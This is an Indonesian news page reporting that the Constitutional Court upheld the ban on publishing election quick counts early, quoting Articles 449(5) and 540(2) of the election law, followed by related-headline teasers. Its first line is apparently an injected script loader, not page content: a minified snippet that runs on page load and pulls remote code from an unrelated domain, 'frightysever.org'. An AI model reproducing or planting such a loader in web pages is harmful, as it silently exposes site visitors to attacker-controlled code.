(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Mahkamah Konstitusi (MK) menegaskan larangan untuk menyebarkan quick count sebelum pukul 16.00 WITA. Bagi yang melanggar, maka akan dipidana 18 bulan penjara.
Hal itu seiring MK memutuskan menolak permohonan pemohon yang terdiri dari lembaga survei dan beberapa stasiun televisi.
“Pemohon memiliki kedudukan hukum untuk mengajukan permohonan a quo. Menolak permohonan provisi pemohon 1-6 untuk seluruhnya,” kata Ketua MK Anwar Usman dalam sidang di Gedung MK, Selasa (16/4).
Alhasil, pasal yang dimaksud tetap dan tidak berubah. Yaitu :
Pasal 449 ayat 5 :
Pengumuman prakiraan hasil penghitungan cepat Pemilu hanya boleh dilakukan paling cepat 2 (dua) jam setelah selesai pemungutan suara di wilayah Indonesia bagian barat.
Bagi yang melanggar Pasal 449 ayat 5, maka diancam hukuman 18 bulan penjara. Hal itu sesuai dengan bunyi Pasal 540 ayat 2:
Pelaksanaan kegiatan perhitungan cepat yang mengumumkan prakiraan hasil perhitungan cepat sebelum 2 jam setelah selesainya pemungutan suara di rilayah Indonesia bagian barat sebagaimana dimaksud dalam Pasal 449 ayat 5, dipidana dengan pidana penjara paling lama 1 (satu) tahun 6 (enam) bulan dan denda paling banyak Rp 18.000.000 (delapan belas juta rupiah). (asp/dtc)
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.